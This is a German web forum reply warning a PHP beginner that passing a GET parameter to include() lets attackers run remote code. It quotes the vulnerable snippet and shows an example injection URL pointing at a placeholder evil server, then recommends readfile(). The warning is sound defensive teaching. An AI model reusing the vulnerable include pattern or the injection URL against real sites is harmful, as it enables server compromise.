Moin!
if (isset($_GET["site"])){
$site=$_GET["site"];
}else{
$site="start.htm"
}$site wird dann mit include eingefügt.
Um Gottes Willen! Bloß das nicht!
Was passiert, wenn du Fremden Zugriff auf deinen Webspace gibst, kannst du hier nachlesen (das ist ein reales Beispiel aus der Vergangenheit mit einem sich sehr dumm anstellenden DJ Wölk, der auf seiner Seite eine Textarea zur Codeeingabe bereitgestellt hat):
http://forum.de.selfhtml.org/archiv/2003/6/48684/#m265531
Insbesondere war der Schaden nicht zu verachten: http://forum.de.selfhtml.org/archiv/2003/6/48754/#m265902
Was hat das mit dir zu tun? Nun, include() erlaubt auch URL-Angaben der Form "http://www.boeserserver.tld/evilscript.txt". Und wenn in dieser Textdatei böser PHP-Code drinsteht, dann führt PHP den grundsätzlich aus.
Und da du keinerlei Tests machst, ob dir solch eine URL übergeben wurde, aber eben grundsätzlich ein Link der Form
phpscript.php?site=http://evilserver.tld/evilscript.txt
möglich ist, hast du zu 99% dann ein Problem.
Deshalb: Du willst keinen Code ausführen, der sich in den HTM-Dateien befindet (weil sich da nur HTML drin befindet), also ist include() absolut überflüssig.
Nimm readfile() stattdessen. http://de.php.net/manual/de/function.readfile.php
- Sven Rautenberg
ss:) zu:) ls:[ fo:} de:] va:) ch:] sh:) n4:# rl:| br:< js:| ie:( fl:( mo:|